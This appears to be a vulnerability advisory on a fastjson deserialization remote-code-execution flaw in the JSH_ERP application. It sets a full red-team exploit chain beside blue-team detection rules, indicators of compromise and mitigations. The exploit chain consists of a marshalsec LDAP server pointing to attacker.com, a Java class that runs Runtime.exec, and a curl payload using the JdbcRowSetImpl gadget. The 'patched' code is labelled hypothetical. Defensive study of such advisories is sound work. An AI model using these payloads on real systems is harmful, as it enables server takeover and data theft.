CVE-2025-51743

Executive Summary

CVE-2025-51743 is a critical unauthenticated remote code execution vulnerability in the JSH_ERP application (version 2.3.1) developed by Jishenghua. The flaw resides in the /materialCategory/addMaterialCategory endpoint, which is vulnerable to fastjson deserialization attacks. An attacker can send a crafted JSON payload to this endpoint, leading to arbitrary code execution on the server. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is assessed as Critical with a score of 9.8. No official patch or advisory has been released by the vendor at the time of analysis. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the public availability of proof-of-concept code increases the risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Java-based ERP application using the fastjson library. The supply chain risk is limited to the fastjson library itself, which has a history of deserialization vulnerabilities. Organizations using JSH_ERP should verify the version of fastjson in use and consider upgrading to a patched version (e.g., fastjson 1.2.83 or later) as a temporary mitigation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Threat Level: Critical (9.8)

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization attack targeting the fastjson library. The /materialCategory/addMaterialCategory endpoint accepts JSON input and deserializes it using fastjson without proper validation. An attacker can inject a malicious @type field in the JSON payload to instantiate arbitrary classes, leading to remote code execution via gadgets like JdbcRowSetImpl or TemplatesImpl.

Attack Flow:

1. The attacker sends a POST request to /materialCategory/addMaterialCategory with a crafted JSON payload.
2. The payload contains a @type field pointing to a dangerous class (e.g., com.sun.rowset.JdbcRowSetImpl).
3. fastjson deserializes the payload, triggering the class's setter or getter methods.
4. The attacker-controlled parameters (e.g., dataSourceName) cause the server to connect to an external LDAP/RMI server.
5. The external server returns a malicious Java class, which is executed on the target server.

Key Components:

• Endpoint: /materialCategory/addMaterialCategory
• Library: fastjson (version unknown, likely < 1.2.83)
• Gadget: JdbcRowSetImpl (common fastjson gadget)

Vulnerable vs. Patched Code

Vulnerable Code (JSH_ERP 2.3.1):

// Controller method
@RequestMapping(value = "/materialCategory/addMaterialCategory", method = RequestMethod.POST)
public void addMaterialCategory(@RequestBody String json) {
    MaterialCategory category = JSON.parseObject(json, MaterialCategory.class);
    // ... process category
}

The JSON.parseObject call uses fastjson's default parser, which respects the @type field and allows arbitrary class instantiation.

Patched Code (Hypothetical):

// Use a safe parser with type restrictions
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSON;

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Or use a whitelist
ParserConfig.getGlobalInstance().addAccept("com.jishenghua.entity.*");

@RequestMapping(value = "/materialCategory/addMaterialCategory", method = RequestMethod.POST)
public void addMaterialCategory(@RequestBody String json) {
    MaterialCategory category = JSON.parseObject(json, MaterialCategory.class);
    // ... process category
}

The fix involves disabling auto-type support or using a strict whitelist of allowed classes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running JSH_ERP 2.3.1
• Attacker machine with Java and a malicious LDAP/RMI server (e.g., using marshalsec)

Step 1: Set up a malicious LDAP server

# Download marshalsec
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests

# Start LDAP server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Step 2: Create the exploit class

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile and host on a web server:

javac Exploit.java
python3 -m http.server 80

Step 3: Send the malicious payload

curl -X POST http://target:8080/materialCategory/addMaterialCategory \
  -H "Content-Type: application/json" \
  -d '{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
  }'

Expected Result: The target server executes calc.exe (or a reverse shell).

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for POST requests to /materialCategory/addMaterialCategory with unusual JSON payloads containing @type fields.
2. Look for outbound connections to LDAP (port 1389) or RMI (port 1099) from the application server.
3. Check for unexpected Java class loading or process creation.

Response:

1. Isolate the affected server immediately.
2. Review logs for the initial access vector.
3. Apply temporary mitigation (see Remediation section).
4. Conduct a full forensic analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to LDAP servers (port 1389) or RMI servers (port 1099)
• HTTP requests to /materialCategory/addMaterialCategory with JSON containing @type field
• DNS queries to known malicious domains (e.g., attacker.com)

File IOCs:

• Unexpected .class files in temporary directories
• Modified JAR files in the application's WEB-INF/lib directory

Process IOCs:

• Java processes spawning child processes (e.g., cmd.exe, bash)
• Unusual network connections from the Java process

Log IOCs:

• Application logs showing JdbcRowSetImpl or TemplatesImpl in stack traces
• Web server logs showing POST requests to /materialCategory/addMaterialCategory with large payloads

Detection Engineering

YARA Rule

rule CVE_2025_51743_Fastjson_Deserialization {
    meta:
        description = "Detects fastjson deserialization payloads targeting JSH_ERP"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51743"
    strings:
        $type_field = "@type"
        $jdbc_gadget = "com.sun.rowset.JdbcRowSetImpl"
        $templates_gadget = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
        $ldap_ref = "ldap://"
        $rmi_ref = "rmi://"
    condition:
        any of ($type_field) and (any of ($jdbc_gadget, $templates_gadget) or any of ($ldap_ref, $rmi_ref))
}

Sigma Rule

title: Fastjson Deserialization Attempt on JSH_ERP
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /materialCategory/addMaterialCategory with fastjson deserialization payloads
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/materialCategory/addMaterialCategory'
        cs-uri-query|contains: '@type'
    condition: selection
falsepositives:
    - Legitimate use of @type in other contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51743 Fastjson Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/materialCategory/addMaterialCategory"; http_uri; content:"@type"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Disable auto-type support in fastjson: Add the following JVM argument:

   -Dfastjson.parser.autoTypeSupport=false
   

2. Use a Web Application Firewall (WAF): Block requests containing @type in the JSON body.
3. Network Segmentation: Restrict outbound connections from the application server to only necessary destinations.
4. Upgrade fastjson: If possible, upgrade to fastjson 1.2.83 or later, which disables auto-type by default.

Long-Term Remediation:

• Apply the official patch when released by Jishenghua.
• Conduct a code review to ensure all deserialization endpoints use safe parsers.
• Implement input validation and allow-listing for deserialized classes.

Valters IT
DevSecOps & Cyber Threat Intelligence